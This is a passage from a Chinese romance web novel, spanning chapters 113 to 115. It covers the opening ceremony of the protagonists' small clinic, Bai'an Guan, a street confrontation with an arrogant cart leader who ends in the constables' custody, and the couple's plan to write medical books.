吴末也住在店中后院,家中人多,并非单哥儿与单男子共处一院,倒也不会被人说闲话。再说了,周围相邻的商铺都知这是榜首的铺子,说秀才家闲话惹怒秀才,那可是吃不了兜着走,便更没人说闲话了。 今儿个江金熙带上了青桥,简言、阿朝留在家中打扫卫生,开医馆得有人手,江金熙只打算请个算账先生,其余的人手便先由家中出。 简言当跑腿,青桥当个暂时的药师,阿朝依旧当着车夫,这般配置起来,度过医馆起步前期应当没有问题。 后头来的客人多了,他再发公告聘人进来就是,总不能累着自家人。 “青桥,今日见着的药可都得记在脑海中。”江金熙道。他与吴末已经商量过了,百安馆内的器具都还在购置,各区域也得用木板固定分开来,短时间做不完这些活儿,得等到月底才能开业,如此正好能等着宋泊县学休息,由他来行揭牌之礼。 开店这么大的事儿,宋泊当然得在场。 今日去路三姑那儿也是提前看看有些什么草药、价儿多少,如此才好列下采买清单。 霞县中有大医馆,江金熙也没想着与他们抢生意,他暂时打算只做个小医馆看些小病赚点儿钱,条件摆在眼前,就算他想做些手术也无处让他施展。 “是,公子!”青桥清脆应声。 一开始青桥是反对江金熙当大夫的,公子可是丞相府的掌上明珠,怎么能在愈馆中上工吃苦,后来他瞧着公子每日回家面上都带笑,他便知道这是公子的志趣所在。 现下公子要开医馆了,那他就要成为公子的助力。 路三姑的医馆很好找,远远便闻着一股淡淡的草药香。 一中年女子迎着客出来,嘴上说着:“再落一副,田大夫以后可不看你了。” “是是是,再不敢犯懒了。”被她说着的老妇人手里拎着药包,嘴里说着话往外走。 送走客人,女子插着腰转身就要回店儿中,她瞧着江金熙三人像是往她这儿来的,便脚步一顿停在门口,“小公子,可是要买药?” 走得近了,江金熙才注意着面前女子虽然身着素色,但衣服却是好布料,耳朵、脖子、手腕皆无饰品,应是与卖药有关,这人大抵就是路砚知的三姑,但江金熙为了稳妥,还是先行一礼,而后问道:“你可是路砚知的三姑?” “你是?”路三姑细瞧着江金熙,这哥儿面容白皙,一对黛眉下鹿眸圆润,鼻梁精致小巧,嘴唇红润饱满,一副柔和的美人相,他身后还有个侍人为他撑伞,当是哪家的贵哥儿来了。 见路三姑并未反驳,江金熙顺着说道:“是宋泊推荐我来这儿的。” 路三姑一听江金熙这么说,面容瞬间舒张开来,热情道:“你便是宋榜首的夫郞吧,快里面请。” 夫郞? 江金熙记着路砚知知道他与宋泊是恋人关系呢,路三姑能把他称为宋泊的夫郞,肯定是路砚知与路三姑说了什么。 江金熙没有反驳路三姑的称呼,带着吴末和青桥进了店。进店后他才发现这店儿只是外头看着小,其实内有乾坤。 店内空间虽小,但每一处都用到极致,甚至有些药柜为了省位子,嵌到墙上高处。 “砚知都跟我说过了,你要开医馆对吧。”路三姑引着三人到店中坐下,拿起泡好茶的茶壶给三人倒了茶,“寻常草药早这儿都有,只看你需要什么。” 江金熙先喝了口路三姑为他倒的茶,随后才道:“我可以瞧瞧那些草药吗?” 草药因形状、颜色、气味不同,品质有区别,高品质的草药总比低品质的草药贵些,路三姑这儿价格便宜,可如果品质不好,他也是不会买账的。 路三姑放松着往后一靠,身子靠在椅子上,松弛道:“当然,随便看。” 江金熙唤了一声青桥,让青桥与他一起看草药。 有些草药长得相似,让青桥马上学会分辨也不现实,江金熙便挑了些简单的草药让青桥看看。 吴末与路三姑聊着医馆的事儿,正说到草药单价和批发价的差别,他在愈馆做过许久,知晓哪些草药用得多,哪些草药用得少,有些疑难杂症一年也见不着一次,没必要备着那种昂贵的药,倒是发热、咳嗽、腹痛这种常见病的药材要多备一些。 “批发价为原价八折。”路三姑说。 这价格合理,是正常市场价。 “诶,你凭什么撂我摊子!” “你这摊子都摆到我店门前,挡着我客人入店了,我怎的不能掀你摊子?” “大伙儿可来评评理,这店儿可特殊,能不按规矩来!” 门外的吵闹声引着江金熙扭头看去,对面店前一片狼藉,小摊被掀,摊上东西落得到处都是,摊主与店主两人互骂着,情绪激动甚至要动起手来。 这动静惹来寻街的官差,官差听了两人的话,当即让小摊摊主收拾摊子回去,留下店主一人趾高气昂。 青桥不解道:“公子,为何官差会让小摊摊主回去呢?他不是付了摊位费吗?” “许是有人护着。”江金熙道。 现在九月,院试榜单刚放出不久,新晋秀才正是商户们眼中的香饽饽,因为秀才可以免税金,有些商户便会寻求秀才的庇护,他们为秀才读书提供银钱支持,秀才为他们提供政治保护。 士农工商中商排在第四位,钱多没地位,日常经商中总会被找各种由头收税钱,今日收个高温税,明日收个修地税,每年交出去的税金得占营收的三成,这哪儿受得了,故而有人开了秀才庇护先例以后,商户们都会瞄准每年新晋的秀才。 宋泊作为榜首,家宅院门的门槛都快被踏烂了去,还是宋泊说了谁再来找事儿便报官,这才吓退了那些来请求庇护的商户。 他们家不缺钱,随意庇佑个商户,商户去外头惹了事,砸的可是秀才的招牌,江金熙还期待着宋泊中了举上门提亲,在这关头可不能被商户毁了去。 不过在霞县中寒窗苦读的学子还有很多,有人拒了商户,便会有人答应商户。 利益熏心,钱财总是诱人的。 “江夫郞说的是,对面那家半月以前就嚣张了起来,说是得了哪家秀才的庇护,不让小摊摆在他家门前,说是会败了生意,”路三姑又喝了口茶,“敢庇护这般商户,我瞧着仕途也不远了。” 街边摆摊本就是正常营生,更何况那些摊主也付了银钱,只是与小摊相比,官差们更不想得罪秀才,故而才让那商户占了上风。 街上回归平静,江金熙重新收回眼神,药柜中的药材他已经瞧过大半,几乎都是中上品质,配上路三姑报出的价格,确实是物美价廉。 天色渐渐暗了下来,夕阳照在云上,泛着橘红色的光。 “如此我们便不打扰了,月底我们再来购买药材。”江金熙道。 “好。”路三姑说着,迎着三人出了店。 九月二十二日,店内装修都差不多了,新买的家具也都送了来。 “灯架别放在角落,稍微挪出来些,离书架远点。”江金熙指挥着搬家具的工人往宋泊的书房里运东西。 虽说宋泊每月只能回来两日,但书房还是得给他备着,一个读书人家中怎能没有书房,说出去引人笑话。 只是后院房间数有限,只能给宋泊安置个书房,索性宋泊在县学的时候,江金熙还能在这书房内钻研医书,也算是物尽其用。 “公子,路三姑的货来了。”青桥走到江金熙身边,在他耳边小声说着。 还有六日就要开张营生,江金熙便跟路三姑定了草药。 跟路三姑定草药并非是看着路砚知的面子,月前他们去过一趟药馆后,还去别家瞧过,也是货比三家觉着路三姑的药材好,才与她订货的。 “你去将草药归位,等会儿我过去检查。”江金熙道。 宋泊喜欢的书房布置只有他知晓,所以书房布置他抽不开身,正好他也有意想考验下青桥掌握了多少与草药有关的知识,现下正是个好机会。 “好的。”青桥一屈身,迈着轻快地步子便跑回了前厅。 瞧着青桥干劲十足的模样,江金熙勾起了笑。 货工将家具摆在相应的位置上便退了,江金熙把他和宋泊的书籍拿出来放在书架上,宋泊的书大部分都带到县学去了,留在家中的只有基础的几本书,倒是他的医书占了大半个书架。 无妨,反正他买了三个书架,宋泊的书总能放得下的。 江金熙将书籍往书架上放,忽而觉着他与宋泊成家以后也是这般感觉,家中各处都有他们俩的东西,连书架上也是一人一半,当真是我中有你、你中有我,就算宋泊此刻不在这儿,他也觉着心中甜滋滋的。 第113章 第一百一十三章天仙。 九月二十三日午时初,夫子准时下堂,宋泊按时到县学门口等江金熙,今日他身上揣了张字,是他昨日夜了写的准备当牌匾底子用的字。 百安馆二十九日便开张,店儿开张没有匾额怎么行,只是江金熙瞧了好几家匾额,瞧来都没有他想要的那个味儿。 思来想去,江金熙还是觉着宋泊的字最好,便叫宋泊抽空写副字来,他拿出去找木工拓在匾额上。 又十几日过去,天气已经渐渐转凉,虽然还带着暑末的热气,但到底是凉快占了上分。 宋泊到了县学门口,今儿江金熙并没有等在门外,他还以为江金熙被事情绊住,刚抓着院门框往外瞧着,眼前便忽而冒出一张美丽的脸蛋。江金熙哪里是没到,他是起了逗弄宋泊的小心思,猫在大门边儿等着吓他呢。 江金熙双手背在身后,调皮着问道:“有没有被吓到。” 虽说江金熙声音小又长得可爱根本吓不着人,但宋泊还是捂着左胸口,说:“可吓坏了。” 吓没吓到是一回事,情绪价值总得给满。 “骗人,你的呼吸都没乱。”江金熙也知道宋泊是在哄他玩,他把身后拎着的饭盒拿出来,交到宋泊手中,然后摊开掌心朝着宋泊,“字呢?” “当然带了。”宋泊从怀中把字拿出来,放到江金熙手里。 江金熙小心拿着纸的两边将字打开来,“百安馆”三个字赫然纸上,这三个字写来简单,但要写出韵味来可是件难事,写在匾额上的字又与写在纸上的字不同,匾额大,又是一个店儿朝外的招牌,自要大气、简单,不宜有太多技巧。百安馆面向百姓,匾额写得百姓看不懂岂不是本末倒置。 宋泊很好地掌握住了其中的度,既有一些连笔的小技巧,又不会盖过“百安馆”三个字本身的大气磅礴,取了折中写法,正写出了江金熙想要的韵味。 江金熙仔细着又把这字折了起来,放进手袋中收着,确定纸在手袋中不会被别的东西划破,他才抬起头来,眼中光芒甚极,“许久未瞧着你的作品,今日再见还是觉着只有你的书法最好。” 宋泊被江金熙夸笑了,他道:“我哪儿有那么厉害,恒国这么大,定人外有人,天外有天。” “那我不管~”江金熙耍赖着,“难怪我用觉着书房中少了什么,等你回了家,可得给我写副书法作品挂在书房里头。” “好,你要几副我便写几副。”宋泊宠溺着答道。 九月二十九日,今日阳光明媚,正是适合开业的好日子。 刻好的匾额前日便送来了,被红绸布遮着,匾额上头还订了个大红绒球,确实是喜气洋洋。 江金熙一早就把宋泊从被窝中捞了起来,一向贪睡的他为了开店仪式,兴奋得睡不着觉。 “何时了?”宋泊双手被江金熙拉着,眼睛却还没睁开来。 昨日他到丑时末才睡着,觉着自己还未睡多久就被江金熙唤醒了。 “现在是辰时初。”江金熙答道。 宋泊一听时辰这么早,眼睛都未睁开,“你让我再睡会儿吧,我还很困。” 定的揭牌仪式在午时中,现下离午时中还有好长一段时间,宋泊实在困倦,还想再睡会儿回笼觉。 “可是化妆的人已经来了。”江金熙道。 今日是个大日子,他们当然得漂漂亮亮的,江金熙特意从外头请了会化妆的人来店里给大家化妆,怕有什么意外情况,他便叫那些化妆的人早些来到店里。 “你先去。”宋泊的脑袋靠在江金熙的肩上,双手拢着江金熙的腰道:“她们也不能一下将所有人都化了,我排队,再睡会。” 见宋泊实在困,江金熙摸了下宋泊的秀发,说:“那就让你再睡半个时辰,半个时辰过后我可要来叫你的。” “嗯。”宋泊应着声,脑袋还点了点。 江金熙松开拉着宋泊的手,宋泊放松地往后倒下,正落在枕头中央,江金熙把被子重新给宋泊掖好,才轻手轻脚出了卧房。 江金熙请的化妆姑娘总共有三人,一人负责挑选衣服,两人负责上妆,他与青桥要花的时间多些,他俩便先到地儿化妆。 化妆的屋子是简言的屋子,地儿不大,但采光好,窗户一打开阳光洒进来,有自然光线照着,越发显得江金熙皮肤白皙。 “江公子,你这肤质也太好了。”上妆的姑娘边往江金熙脸上扑着粉,边夸道。 江金熙的皮肤就如剥了壳的鸡蛋一般光滑,再加上本身皮肤又白,不需要扑太多的粉,主要是细致的眉眼妆花时间。 “是嘛?”江金熙被夸着高兴,“还是得劳你多费心思。” “那自然。”姑娘手中拿着用兔毛做成的刷子,轻轻在江金熙的眼皮上刷着粉,给这种天生丽质的人儿上妆她正高兴呢,既省妆品又能发挥她的手艺,姑娘已经迫不及待地想看江金熙化完妆之后的模样。 半个*时辰过去,宋泊自己醒了,多睡了半个时辰,他精神不少。洗漱完毕后,宋泊从厨房摸了个馍,一边吃着一边往简言的屋儿去。 江金熙不是会食言的人,他说半个时辰以后来唤他却没来,宋泊只能想到他被化妆姑娘给绊住了。 刚走到简言房门口,就听着里头姑娘说道:“好了,江公子瞧瞧镜子吧。” 宋泊大步跨入房中,江金熙正照着镜子,听着身后有动静,他转过头来。 一瞬间,宋泊以为自己看见了天仙。 江金熙用发冠盘了发,露着光洁的额头,双眉上了眉粉,画成优雅地柳叶状,本就大的双眼用褐色粉描了个淡淡的眼尾,透出双眸本身灵动的同时又加了两分妩媚,鼻梁直挺,丰润的唇上抹了橘红色的口脂,整体结合起来,简单的妆品将江金熙的美又放大了几倍。 宋泊看愣了,愣得手中的馍落到了地上都没有觉察。 江金熙的脸微微泛红,他抬起手,衣服袖子遮住他半张脸,他轻启嘴唇,说道:“你瞧什么呢。” 江金熙的声音将宋泊的神魂唤了回来,宋泊同手同脚走到江金熙面前,以往伶俐的嘴,现下却只憋出个“你好美”出来。 江金熙的面儿更红了,他双手抬着,两边衣袖将他的脸遮了个严实,“你、你别看了。”刚刚他瞧着镜子里的自己时也是愣了神,今日化了这么美的妆,他本就想让宋泊惊艳一下,只是现在宋泊确实惊艳了,他也害羞地不敢瞧宋泊的面儿。 见江金熙连耳廓都泛着红色,宋泊虽然还想再看,但还是顺了江金熙的意,扭了脸,“我不瞧了,你放下手吧。” 江金熙化完便轮到了宋泊。 宋泊坐在椅子上昂头,江金熙便双手放在大腿上,乖巧地坐在宋泊身侧瞧着。 男子少化妆,不少男子甚至会把化妆当做娘气的表现,宋泊乐意坐下化妆,江金熙心中也是甜滋滋的。 化妆姑娘拿着化妆刷在宋泊脸上描描画画,花了一刻钟时间便上完了所有的妆。 脂粉上多了会压去男子本身的气质,化妆姑娘把握着度,凸显宋泊五官优势的同时,又加了几分文雅气息。 不止宋泊看江金熙看呆了,江金熙瞧着宋泊也是呆了心神。 八尺男儿站与他身前,一头乌黑浓密的秀发被文人冠束着,一双剑眉以下,丹凤眼锐利有神,鼻梁高俊,薄唇上了层浅浅的朱色,增添几分气色。宋泊的五官本来带了凌厉,化妆姑娘用妆品软化了些眉眼上的棱角,让宋泊整个人瞧来柔和不少。 宋泊从椅子上起身,走到江金熙的面前,他微微弯了腰,与坐着的江金熙保持同一高度,两人面对面瞧着,宋泊笑了,“可是看呆了?” 江金熙听着宋泊的声音猛地眨了两下眼,落下的衣袖又重新抬起来遮住嘴,他小声说:“我都不想让你出去揭牌了。” 宋泊笑意更甚,“为什么?” “你一出去谁还瞧我们馆儿叫什么,定都看你去了。”江金熙说道。宋泊长得好看他知道,可今天化了妆的宋泊却是好看得过头,这往外一站,大伙儿的视线定都放在宋泊身上了。 “那我也不想让你出去。”宋泊道:“天仙可是只属我一人。” 江金熙被宋泊的话逗笑了,他笑声清脆如银铃,笑够以后才说着,“那哪儿成,主家不在,揭牌仪式怎么进行,你就不想瞧瞧用你的字刻出来的匾额长什么模样吗?” “那我们就掩面出去,这样百姓们肯定就不会瞧我们了。”宋泊再说。 江金熙伸手轻打了宋泊一下,“要掩你掩,我才不要被别人当着异类呢。” 宋泊牵住江金熙的手,调笑道:“那好吧,等会儿我就去找个面具。” “你敢。”江金熙反手捏住宋泊的手,揪起一小块肉的捏法最是疼人,宋泊赶紧乖乖求饶:“不戴了不戴了,我们俩一起出去让百姓们瞧瞧,没准还会有人觉着咱俩好看,来咱们医馆看病呢。” 第114章 第一百一十四章揭牌仪式。 “主君、郎君,阿朝叔回来了。”简言的声儿从外头传来。 百安馆开业这么大的事儿,当然要请家中长辈来,阿朝天未亮就驾着马车出发了,赶在午时前将宋茶栽和刘南民从近里村载来,马车脚程快,这一去一回也没花上多少时间。 “宋泊、金熙,你俩可准备好了?”宋茶栽中气十足的声儿在院子中出现,声音落下,脚步声渐进。 阿朝引着他们到了简言的房门外,宋茶栽见房门大开,人全在里头,便直接跨步进了屋内。 宋泊和江金熙早早等着,等两人进屋,他们便行了礼,齐声唤道:“大姑、姑父。” 瞧着面前盛装打扮的两人,宋茶栽眨了两下眼,转头看了眼刘南民又转头回来看着两人,“你们这是?” 要不是知道今日是要开店,宋茶栽还以为宋泊和江金熙这是要成婚了,化得如此好看,可不就是婚妆。 “盛装打扮一下,好当门面。”宋泊说着,给宋茶栽和刘南民两人搬来了椅子,还倒了两杯茶,“这么远来,可累了?” “不累,”宋茶栽接过宋泊递来的茶,一口喝下,“你们那个车夫驾得可好哩,我俩坐马车中还睡了会儿呢。” 刘南民也喝了口茶,说道:“你大姑说的是。” 口也润了,脚也歇了,宋茶栽瞧起江金熙来是越看越喜欢,江金熙本来就很漂亮,今日化了妆更如盛开的花朵,美丽动人。她家宋泊当是积了几辈子的善,才换得这辈子的美娇夫。 把家中人都捯饬完毕以后,还有些时间,江金熙便让化妆姑娘给宋茶栽和刘南民也浅浅上一层。 宋茶栽一开始还拒绝着,说她大把年纪了,再精心打扮都比不上年轻人,可等化了妆以后,她便抓着铜镜久久未撒手,一直欣赏镜中的自己。 “好了,知道你今日美了,看镜子都看了半炷香时间了。”刘南民瞧着自家娘子难得臭美一次,愣是忍了半炷香时间才开口说话。 “你也觉着我这样好看吧。”宋茶栽放了镜子,转眼与刘南民说道。 他们俩成婚多年,好看的、难看的时候都见过,不过今日宋茶栽化了妆后确实好看,也就只比成婚那日差了一些。 相伴许久,刘南民说出夸人的话来十分自然,“我的阿栽自然漂亮。” 宋茶栽听了心里美滋滋的,两人在一起总得有些小情趣才行。 “姑父,轮到你了。”宋泊道。 刘南民连连摆手拒道:“我就算了,这脸乌漆嘛黑的上了粉还分层,等会招笑了。” 因为刘南民每日都在田间活动,就算带了草帽披了草衣,身上皮肤还是免不了被晒黑,与他人比起来,他的皮肤黑了一层,要上妆需要连脖子一起涂上。 “没事的姑父,妆品管够的。”江金熙说。 刘南民眉头皱起,还是拒道:“不了不了。” 宋泊偷瞄了眼宋茶栽,宋茶栽接着他的眼神,说:“南民不想就算了,也省的折腾。”他们成婚那日刘南民化了妆,那些脂粉涂在刘南民身上,让他难受了很久,往后刘南民一瞧着她化妆,便会把这事儿拿出来说道,不过他自己讨厌化妆,却也不会阻止宋茶栽化妆,爱美之心人皆有之,他不会因着自己的喜好干涉宋茶栽的动作。 “大姑都这么说了,那就不给姑父化了。”宋泊道。 每个人都有自己的喜好,不必强求。 “好。”江金熙应着。 化妆姑娘收拾着自己的东西,宋泊和江金熙领着宋茶栽和刘南民出了房门,他们还未看过这家铺子,离午时中还有两刻钟的时间,正够他们溜达一趟。 宋茶栽边瞧着前院陈设,边操心着宋泊和江金熙他们这个店儿的揭牌仪式,“揭牌的东西可都备齐全了?” 这可是他俩头一次没在长辈的帮助下自己做成一事,宋茶栽心知两人都已经成熟能够独当一面,却还是免不了担心,连带着逛店内的心情也没了,先去检查揭牌仪式要用的东西。 挑红绸的竹竿备着了,当街放的鞭炮也有,请的喜乐队马上就到,宋茶栽一项一项点过去,发现此次准备确实周密,这才安下心来,夸道:“不错,看来以后我便不用再担心你们了。” 长辈总是想要晚辈依赖自己,今天这揭牌的东西准备得如此齐全,宋茶栽觉着骄傲的同时又有些落寞,好像家中养的鸟儿终于大了,要飞往更宽阔的天空。 江金熙心细,他觉察着宋茶栽的情绪,一把攥着宋茶栽的手臂,撒娇着道:“那可不行,大姑还是得操心我们的。” 宋茶栽瞧着江金熙漂亮的脸蛋,心里软得不行,那点儿落寞被江金熙吹散了去,她道:“好呀,那我就依金熙的话,再操心操心。” 宋茶栽心情好,哼着歌又将东西查了一遍,喜乐队来了还叫他们先吹一曲听听响儿。 午时快到,江金熙请的司仪也到了。 司仪瞧着时间,问:“两位公子可准备好了?” “准备好了,仪式可以开始。”宋泊道。 司仪领着两人走出店门,站在百安馆的匾额下,两人面前摆了张圆桌,圆桌上放了祭品,祭品两侧各燃一支蜡烛,用以告知神明。其他人则站于两侧,宋茶栽双手紧握放在腹前,有些紧张,这是她家小辈的大事,可不能出一点儿差错。 “吉时到——”司仪高声喊着。 身后的喜乐队应声敲鼓,乐曲声响起,司仪抬声,“福星高照,鸿运当头,今有百安馆择此黄道吉日,行开业大典!” 乐声抬到高潮,阿朝和简言各站一侧,点燃了放在街上的鞭炮,噼里啪啦的鞭炮声儿响起,整条街被炸得热闹起来。 百姓们或从家中出来,或从铺中出来,都聚集到了街上看热闹。 司仪走到宋泊和江金熙两人面前的圆桌上,将手上拿着的香用蜡烛点燃后,各分三支给宋泊和江金熙。 “一敬土地,保佑家宅平安。” “二敬财神,保佑财运亨通。” “三敬天地,保佑一帆风顺。” 司仪说着敬词,引着宋泊和江金熙执香三拜,三拜以后,将香插在圆桌两支蜡烛中的米罐中,香的烟渺渺飘起,说是此烟可上天界,将人间的愿望带到天界中。 司仪将边儿靠在木框上的竹竿拿来,交至宋泊的手中,“宋公子,你可与江公子一起把红绸挑下来了。” 宋泊牵着江金熙,江金熙的手握着竹竿,宋泊的手覆在他的手之上,为了避免红绸落在蜡烛上被点燃,挑红绸的位置也有规定,两人手中使劲,挑着红绸的一角,将红绸小心挑了下来。 宋泊将红绸拿在手中,司仪手一抬,锣声“砰”的一下响彻整条街,“礼成——恭祝百安馆开业大吉,万事顺利!” 阿朝和简言再次点燃鞭炮,换了新的鞭炮,声儿还是一样响。 周围百姓都围了上来,嘴上说着祝贺之词,江金熙让青桥把铜钱拿来,一把一把撒给百姓们。 开业仪式,讲究的便是个吉利,江金熙换了三两的铜钱,只管撒个高兴。 “让让,不过开个业这么大阵仗?”有几辆牛车运着货从此街而过,这条街很大,就算江金熙撒钱积起了人群,也是挡不住那列牛车的道儿。 百姓们忙着捡钱,热闹之中确实没听见牛车领队说的话,还是宋泊听着声儿,说着让大家往边上靠靠。 只是宋泊让步了,那领队却跟有意找茬一般,非得贴着宋泊他们这侧儿走,顺带着差点把桌上插香的米罐给弄倒了。 还是司仪眼疾手快,护住了米罐,这才免了香倒的霉事。 宋泊的面儿冷了下来,他几步走到领队面前,揽住牛车队,说:“这位兄台是合意?” 领队昂着头,傲气道:“开个业这么大面儿,把地都占去了你不知道呢?” 宋泊瞧着这路他只占去五分之一,被领队说过后,百姓往路边贴着,五分一变成了六分一,分明还有六分五的地儿让他过,他却非得从他面前过,还差点弄倒他的米罐。 宋泊瞧着领队,眼神锐利,“我只占了一点儿,还有大部分的地儿留给百姓们过,怎的他们过得,而你过不得?” 江金熙倒是瞧出这货队出自何家,月前他找路三姑时,就在街对头看见过货物上的标志,这是那家与人起过冲突被秀才护着的商铺。 自主家被秀才庇护以后,领队在这条街上可是横着走,这儿是平民区的商街,没有达官贵族住这儿,他们有人庇护便是高人一等,街上的商家都不乐意与他们起冲突,一月以来横行霸道从未失过手,今儿个领队瞧着这百安馆不过一个医馆开业却这么大阵仗,眼下瞧不过,这才来讨些乐子。 只是没想着,这家居然是个硬茬。 “你也说着路是公家的,那我想往哪儿过,便往哪儿过。”领队上前一步与宋泊对视着,他矮宋泊一截,气势上压不过便只能皱着眉头抬眼瞪着。 “怎么这样啊。” “这不是不讲理吗?” “差点儿将人家的香弄倒了还这般理直气壮。” “可小点儿声,这人是宋家的人。” 听着周边百姓为宋泊发声,领队一个个看了过去,被看着的百姓吓了一跳,都低下了头、不敢出声。 宋家的人。 宋泊听着这个关键字,不知这个宋家跟他那个小叔宋申闻可有关系。 第115章 第一百一十五章医书。 “你这人也是真有意思。”宋茶栽可没宋泊那么讲礼貌,她听着领队说话,气不打一处来,她走到领队边儿,指着他骂道:“别人瞧着谁家有喜事,都是言出祝福,你们倒好,大路不走非得从人家点儿前过,坏人喜事可是要遭霉运的。” “这儿有你什么事。”领队说着还要动手推宋茶栽,被宋泊一手攥住。 宋泊力道不大,但用上了巧劲,抓人手臂有种刁钻的疼。 领队的面儿因着痛感皱成一团,“你最好赶紧撒手,知道我主家是谁吗?” “你主家不就是个商户吗?”江金熙说:“恒国律法可是写了,百姓们办喜事可是有特殊占地权的。” “对了,你知道什么事喜事,什么是特殊占地权吗?”江金熙眉眼弯着看着领队,只是那笑不及眼底,像是把软刀,虽然温柔却也能致命。 领队被江金熙看着额头冒了汗,被哥儿吓着说出去可是要被人耻笑的,他梗着脖子,道:“你又是谁。” “你只要知道你马上就要见官了。”江金熙说。 “何人报官?”三个捕快腰配长刀从人群中走进来。 江金熙朝捕快行了一礼,而后说道:“是我报的官。” 刚刚宋泊与领队起争执的时候,江金熙便让简言去请捕快来,简言脚程快,百安馆又离县府不远,没一会儿便把捕快请来了。 “可是有人犯了事?”捕快问,为首捕快瞧着宋泊,心中咯噔一声,他们可认识宋泊,今年新晋院试榜首,他竟也在此事之内,可得小心处理着。 “恒国律法第三百二十三条,举办喜事可享有特殊占地权,包括但不限于占去街道、河道的二分一。”江金熙简单道来,声音如溪水柔和,内容却寒如冰霜,“今儿个我们医馆开业,不过占去街道五分之一,这人挑衅滋事,硬往我们这边走,不仅差点把我们插香的米罐给弄倒了,甚至后头的牛车还撞到了好几个百姓。” 江金熙歇了口气,继续说道:“我家主君拦着他要个说法,他却好生霸道,只说他家有人罩着,还要与宋大姑动手。” “光天之下这人竟敢如此作恶,可是将王法丢在地上践踏!”江金熙伶牙俐齿,三两句便把一件小事扩大到了王法之上。 捕快们唰地一下齐齐看向领队。 每次捕快们都站在领队这边,让受害店家息事宁人,这次不同,捕快们都眼神锐利,看得领队心中直犯怵。 “江公子所说可是真的?”捕快问。 领队都来不及回答,便有大着胆子的百姓躲在人群里喊着,“就是啊,快把这作恶的人抓了去。” “江公子说的都是真的,确有其事。” “这人天天横行霸道,前两日还把我摆在地上的菜踩了去,捕快,你们快抓了他。” 百姓中有被领队欺负过的小摊贩,也有拿了江金熙赏钱的寻常百姓,大伙儿你一句我一句,很快便吵闹起来。 捕快被耳边的话吵得不行,高喊了声“安静”,百姓们这才稍微冷静下来,小了声。 “可是确有此事?”捕快再次看向领队。 领队梗着脖子,“你知道我们主家由谁护着吗?” 这话一说便是变相承认事情确有发生。 捕快们也不管他是由谁护着的,两个捕快一左一右,一人押着领队的一只手,将领队押回县衙,这事儿中有宋榜首在,他们就得秉公执法。 捕快抬手,先朝宋泊行了一礼,又朝江金熙行了一礼,“宋公子、江公子,不好意思,今日你们的医馆开业却遇着这般事儿,我们定会好好处置他的。” “无妨,我会写状纸去,这事儿总该有个说法。”宋泊朝捕快笑着道。 捕快顿时觉着背后发凉,连连应声,“是、是。” 恒国上诉的流程很麻烦,从上诉到最后出结果,少说也要三个月的时间,有的时候还不一定会出现结果,故而百姓们大多大事化小,小事化了,没被逼到不得已的时候,是不会上诉的。 但是宋泊身份不同,由他上诉,县衙就得快速处理,事情清楚明了的话,用上简易程序最多五日便能出结果。 领队这次碰上硬茬,可得挨上一顿板子了。 捕快们走后,宋泊与江金熙又在店儿门口招呼了一会儿,等到午时太阳烈了,才散了门口的百姓们。 回到店内,宋茶栽一下坐在椅子上,一拳锤在店内的圆桌之上,“青桥你为什么拦着我,我可得指着那人鼻头痛骂他一顿。” “刚刚公子和宋公子正在上风,您上去痛骂一顿您是解气了,但是会把咱们的优势送了去。”青桥道。 青桥此言有理,这件事从头至尾宋泊和江金熙都未说过一句骂人的话,若是让宋茶栽来,定是将那领队祖辈上下拎出来骂,到时候被那领队反咬一口他们骂了人,这事儿就会变得复杂许多。 江金熙拉着青桥,夸了句,“做得好。” 听青桥这么说,宋茶栽热血上头的脑袋冷静了几分,细细向来是这个道理,但她总是咽不下这口气。今日开业本是喜事一件,却遇着这般人,实在晦气,她转眼看向宋泊,“那你可得在状纸里好好写,定要让他定罪!” “我知道的。”宋泊走到宋茶栽身后,自上而下地给她顺气,“杨知县瞧着我榜首的面儿,瞧着江丞相的面儿,肯定不会轻饶那个人的。” 别个寻常百姓只知道宋泊是榜首,却不知道江金熙是江丞相之子,杨知县不同,他知晓两人背后的势力,做起决定来定会百般小心。 生病这事儿可不管开业不开业,午时刚过一会儿,便有妇人带着自家腹痛的姑娘来,江金熙一下投入医治当中,宋泊则自己到了后院,进了书房拟状纸。他不主动找事却也不怕事,那人找事的时间选得不好,若是普通日子他可能还会放他一马,但选在对江金熙来说至关重要的开店日,那他便不会轻易放过他。 不过宋泊并不精通恒国律法,所以他只能将事情的过程详细地写下来。 江金熙看完那个腹痛的姑娘便赶回后院,给宋泊提供了几条领队犯的恒国律法,如此一张状纸写上,那个领队定要受罚。 再次检查一番,确定状纸上没有出现任何一个错字,宋泊才让简言把状纸送到县衙去。 宋泊因着秀才身份不必亲自上堂作证,将状纸送去后等着结果就是。 解决完状纸的事儿,宋泊牵过江金熙的手,让他坐在自己身侧,“我们的医馆刚开业便有病人来了,你可瞧好了那姑娘犯的什么病?” 江金熙笑着道:“这几日降温,小姑娘贪凉,夜里睡觉时没在腹上盖被褥,寒气侵入胃肠,这才腹痛难忍,开了几副药让她回去熬着喝了,小病而已,明日就能好上大半。” “江大夫好生厉害。”宋泊夸赞道:“想来不管是何种病,在江大夫手中便是药到病除。” 江金熙伸了只手出来拍着宋泊的手背,笑骂道:“我那么厉害,那不得与华佗、扁鹊齐名了?” 宋泊认真想了想,“未尝不可?” “自今日开始,你便将遇着的病写下来,如此等你写出几本医书,也许有可能与他们齐名呢?”宋泊道。 古代看中书籍,实践的口碑是一回事,自己写出的书又是一回事,想成为名垂青史的名医,那就需要留些自己的经验以供后人考究。 “是呀!”江金熙惊讶出声,他拍着宋泊的手臂,急道:“我怎么没想到呢!”自与宋茶栽学医以后,他便发现医学是他志趣所在,以前他也会将遇着的病症记下来,不过那只是为了自己而记的笔记,现下宋泊给他提了个新思路,他既会写字又会看病,为何不把这些经验记下来,分享给其他人呢? 江金熙越是想着,越是激动,要不是现在馆中还开着业,他真想与宋泊一起躲在书房中,写医书,“今日我就开始写!就以那个小姑娘为开头。” “好啦,知道你兴奋了,但是事有轻重缓急,你又要开医馆又要写书,可得分配好自己的时间,别太辛苦了。”宋泊揽住江金熙,脑袋靠在他的肩膀上,道:“不然我在县学中还得担心你今日三餐吃了没,有没有睡好,可是忧心呢。” 这话听起来怎么带了几分绿茶的味儿,江金熙也是没忍住笑了,他脑袋一歪与宋泊靠在一起,说:“我会掌握分寸的。” 说到一日三餐,宋泊忽然想到江金熙每日午时给他送饭的事儿,“对了,这般忙碌起来,中午你就不要给我送饭了,有时间便多歇息着。” “不成。”江金熙捏着宋泊的手,轻声道:“每日我那么辛苦,肯定得瞧上你一眼才能放松,常言道秀色可餐,我的精神食粮便是见你一面,这事儿是绝对不能少的。” 